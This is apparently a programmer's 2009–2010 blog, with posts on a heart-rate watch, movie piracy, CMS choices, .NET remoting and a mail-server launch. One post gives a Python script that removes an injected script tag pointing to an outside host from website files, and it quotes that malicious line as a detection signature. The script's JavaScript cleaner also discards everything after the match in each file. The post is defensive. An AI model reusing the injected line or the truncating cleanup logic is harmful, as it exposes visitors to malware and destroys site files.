Friday, February 19, 2010

Programmer’s Friend : Suunto T1

Its common knowledge that programmers tend to sit long hours in front of the computer and have next to zero amount of sports activity. Esp in countries like Malaysia or Thailand, jogging outside your house tantamount to suicide, given the kind emission rules around here.

Thus, its very important that programmers stays fit and indoor exercise is something that you don’t like but u need it gravely.

I found a real cheap way to exercise in house, get a Suunto T1 watch and that is basically your “profiler” so whatever “unit test” you do to your body, the T1 will profile and show you if what you did is indeed “enough” or your just fooling yourself.

With this watch, you can buy those much cheaper exercise equipment that does not comes with yet another heart rate monitor and i can tell you, the T1 and the belt gives the most accurate monitoring anyway.

Basically its a heart rate monitor that allows personalized settings like age, weight, height so that it can recommend a suitable heart rate that you should achieved and work on.

Recently after changing both the batteries on the watch and the strap i realize its no longer functioning. The website FAQ says “code not found” is bad news and i need to reset the belt and try again.

Well, here is something that the manual and website didn’t tell you.

You need to change the batteries in the BELT FIRST, before you change the batteries in the WATCH.  By doing this sequence, the watch will figure out that it needs to find the belt with a new code and will accept whatever code the belt is sending out.

Now, go on …run the unit test.

Monday, February 15, 2010

Vcds , dvds , blueray n bookstores

Things are sure looking bleak for video shops in malaysia . It takes just around 4 hours to download a movie via torrent .

Apart from piracy issues, here are some facts that seems to highlight the gloomy outlook of such businesses in Malaysia .

- dl movies have even better translation than the localized originals here . Look at Bleach for eg , the xxxbayo dls translations are better

- lousy quality on localized original. I buy original as much as I can . Its pretty disappointed that some cheap originals have utterly inferior quality . Take Twilight for eg , that local company that produce it is terrible . The show is lacking in contrast and has smudged colors . A friend of mine who decides to dl got a much better quality.

- Malaysian censorship . Dl movies are not censored , the local rebranded originals are. Nobody likes a tampered original .

I guess bookstores are finding it hard to survive too with all those ebooks illegal copies floating around and the crappy moral values of the new generation that believes anything u can dl for free is ok since u don't get caught aka stealing.

Its a repulsive sight to see how some would just take up magazines and read it all the way without buying . Some folks even mishandled mags n books while reading so much so that no one would buy it at that condition.

Duh...

(Synced via BlackBerry->MailNow! 5)

Thursday, January 14, 2010

Inspiration + programmer

I admit sometimes i feel darn old and tired of programming. All these Malaysia boleh and after 11 years of starting my company i have not succeeded in getting my product out in a big way to the world. Yes it sold well in Malaysia and i exported some of my work in component to Europe, but the product as a whole by me and my team is not exporting.

I need inspiration and i need it badly.

Thank God…last week i stumble accidently on my answer. Its a watch. What has a watch gotto do with my line of work?Everything.

For one, you see all watches does more or less the same thing and yet each company behind those brands manages to export and have its own customers and loyal followings. In today’s world, you will have to strike lottery to be doing a software that someone else does not have or works similarly.

Second, watches is about craftsmanship, material, engineering and technology . Technology however is limited only to certain brand of watches . Needless to say watches that markets only on heritage and brand has zero inspiration to me.

If the watches companies could survive and yet make a good living out of it and export to the whole world, i reckon i could too. That is the first line of inspiration i found.

The best watch company that have the right ethos and philosophy is Casio G-Shock. Yeah sure its no prestigious bs and ego marketing, but hell the inspiration that G-shock provides is everything i needed to get my product in line.

If i could get our product in line with the Casio G-shock (g-shock.jp) …see that red text on the right in that site….yes that is what i want to do .

Shock the World.

Right now as i am typing this, i am wearing a G-shock 1500bd, stainless steel black strap . Yes, i am fully inspired to continue my journey in programming and steer my company and products using this philosophy. Build it bloody solid, anti-fragile, works like clockwork and loads of technology. Heck this thing does 200 meters water resistance while something that cost 10x is doing less.

Friday, November 13, 2009

.NET remoting via COM and Python

I bumped into a problem when trying to talk to C# DLLS that are created by my team while i am using Python. Creating a COM C# DLL is the key to bridge the communication since creating COM  interface via C# is the easiest thing to do compared to C++.

Now one of the C# DLLs is loaded as a singleton in Windows Service thus i need my C# COM to talk to the same class via remoting.

That is when i kept on encountering “return argument has invalid type”  whenever the remoting part was done. Putting "[Serializable]” into the class declarating did not help.

It ran perfectly when the class in the C# dll is used as a local class but it balked whenever the same class was returned via remoting and to me that is just ONE line of change.

// MyClass myClass = new ManagerClass()  <--- local class

// RemotingReturnMyClass(out myClass) <—remoting

I went on to combining the COM class code and the C# singleton DLL in the attempt to create a singleton COM so that the C# singleton class can be accessed via my python code to no avail.

After DAYS (yup days) of trying to solve it, i suddenly realize something that i missed. What if i put the C# DLL into c:\python25 since maybe the problem is all about the marshaller and proxy not being able to locate it…….

Bingo.

Tuesday, November 3, 2009

Plone, Drupal or What?

A quick migration of a static website to a CMS version was needed. However one of the requirement is that it must be as ‘non-programmer’ as possible since an assigned web designer will be doing the project.

After toying around with Plone, its way too technical and the curve is just too much to even be considered. It is also pretty slow, around 1.3 times slower in a Pentium Celeron with 1GB memory compared to Drupal on a dummy blank site.

So Drupal was next in the list and in fact chosen for the job , however as 2 weeks gone by, it was obvious that what we know about Drupal is in fact largely OVERRATED. There are certain theme layouts that doesn’t appear correctly on different browsers, very limited customization without going to php and way too much work for a non-technical person to get it looking nice, not to mentioned that most sites on Drupal looks similar.

Finally we stumbled upon SiteFinity by SmarterTools, the condition however was that it had to run on IIS but in this case we had no issues with that since the project doesn’t mind whether its IIS or Apache (who the hell going to modify apache code in the name of open source?)

SiteFinity not only blows Drupal to stoneage, more importantly we saved the Web designer guy from committing suicide. For once she was able to get something done.

** there is a community version available free for use

Monday, October 19, 2009

Removing “achtbanen” trojan links

Ok so someone got careless and somehow his website files have been replaced with links to a trojan. Each of the html/asp files have been injected with a script “<script src=http://achtbanen.org/images/blah blah blah></script>”

I was asked to write a script to clean it up, so here it is, a script injector remover, basically will work on any injected one liner script (modify the signature on “FindThis” in the source yourself), by default will remove this particular achtbanen line.

TrjLinkRemove.py

# Copyright 2009, codemagnet.blogspot.com



# Free to use ;-), just keep this credit comments.



 



import sys



import os



import nowlog



 



logfile = nowlog.SetLogConfig("removed.log")



 



"""<script src=http://achtbanen.org/images/b-one-default.php ></script>"""



 



FindThis = "<script src=http://achtbanen.org/images"



FindThisJS = "document.write('<script src=http://"



MaximumIndexTail = 150 #  search 150 off the first found signature



 



def dirwalk(dir):



    "walk a directory tree, using a generator"



    try :



        for f in os.listdir(dir):



            fullpath = os.path.join(dir,f)



            if os.path.isdir(fullpath) and not os.path.islink(fullpath):



                for x in dirwalk(fullpath):  # recurse into subdir



                    yield x



            else:



                yield fullpath            



    except :



        pass



                



            



def CleanFile (filename) :



    global FindThis



    try :



        f = open(filename, "rb")



        fb = f.read()



        f.close()



        



        i = fb.find(FindThis) 



        if i == -1 :



            return



        



        # found



        o = fb.find("</script>", i+len(FindThis), i+len(FindThis) + MaximumIndexTail)



        if o == -1:



            logfile.error("partial found, ignored, %s", filename)



            return



        



        # create a new file



        newfile = filename + ".trj.rmv"



        p = open(filename + ".trj.rmv", "wb")



        p.write(fb[:i])



        p.write(fb[o+9:])



        p.close()



        



        os.rename(filename, filename + ".xxxx")



        os.rename(newfile, filename)



        os.unlink(filename + ".xxxx")



        logfile.info("Cleaning : %s", filename)        



        



    except :



        logfile.error("unable to open file %s", filename)



        return



   



#-------------------------------------------------------------------------#



 



def CleanFileJS (filename) :



    global FindThis



    try :



        f = open(filename, "rb")



        fb = f.read()



        f.close()



        



        i = fb.find(FindThisJS) 



        if i == -1 :



            return



        



        # found



        o = fb.find(".php", i+len(FindThisJS), i+len(FindThisJS) + MaximumIndexTail)



        if o == -1:



            logfile.error("partial found, ignored, %s", filename)



            return



        



        # create a new file



        newfile = filename + ".trj.rmv"



        p = open(filename + ".trj.rmv", "wb")



        p.write(fb[:i])



        p.close()



        



        os.rename(filename, filename + ".xxxx")



        os.rename(newfile, filename)



        os.unlink(filename + ".xxxx")



        logfile.info("Cleaning : %s", filename)        



        



    except :



        logfile.error("unable to open file %s", filename)



        return



 



            



def cleanup (path) :



    for x in dirwalk(path) :



        o = x.split(".")



        if o[-1].lower() in ["asp","html","htm", "aspx"] :



            CleanFile(x)          



            continue



        if o[-1].lower() == "js" :



            CleanFileJS(x)        



      



 



if __name__ == "__main__" :



    if len(sys.argv) < 2 :



        print "Removes achtbanen trojan links from all webfiles"



        print "TrjLinkRemove <path>"



        print "e.g TrjLinkRemove c:\\iisroot"



        sys.exit(1)



        



    if not os.path.exists(sys.argv[1]) :



        print "invalid path given"



        sys.exit(1)



        



    cleanup(sys.argv[1])    



        



    




nowlog.py





import logging, logging.handlers



 



def SetLogConfig (namefile):



    



    logfile = logging.handlers.TimedRotatingFileHandler(namefile , 'midnight', 1, backupCount=14)



    logfile.setLevel(logging.INFO)    



    FORMAT = "%(asctime)-15s %(levelname)s:[%(thread)d]:%(message)s"           



    logfile.setFormatter(logging.Formatter(FORMAT))    



    



    ch = logging.StreamHandler()



    ch.setLevel(logging.INFO)



    



    Logger = logging.getLogger(namefile)



    Logger.addHandler(logfile)



    Logger.addHandler(ch)



    Logger.setLevel(logging.INFO)    



    



    return Logger








* sorry about the formatting –.- was using a code snippet plugin

Wednesday, October 14, 2009

World First Email Server with MSN Robot (Avatar)

This is probably true as the team gets ready to launch MailNow!5

MailNow! 5 is a Windows Mail Server that is of the likes of SmarterMail, Mdaemon, Merak and Hmail. The difference would be the amount of innovation that the team built into the MailNow! 5 that would eliminate log searching, greps etc for mail tracing , anti domain queue hogging and features on accountability that is way off the conventional school.

One distinct one is the world first Email Server Robot or Avatar. Its is an MSN robot that would inform users of the mail server status, new mails alert + details, collect log files, send SMS alerts, compose emails, retrieve emails, provide Email server spam statistics, emails per hour statistics and provide an “eliza” chat for idle users.

Looks really cool when it was demoed today. I guess the folks attending the launch on 12 Nov, 2009  will get some sneak peek too. (www.internetnow.com.my)

If you see any other mail servers adding this feature in the future, you heard it here first. That Malaysian made, MailNow! 5 , the windows mail server…had the first ever robot.

The team won’t be patenting it, the team here is just too engrossed in technical development than to invest in any legal procedures to write such a patent. Chances is MS Exchange would build one super robot in the future and who’s gonna sue?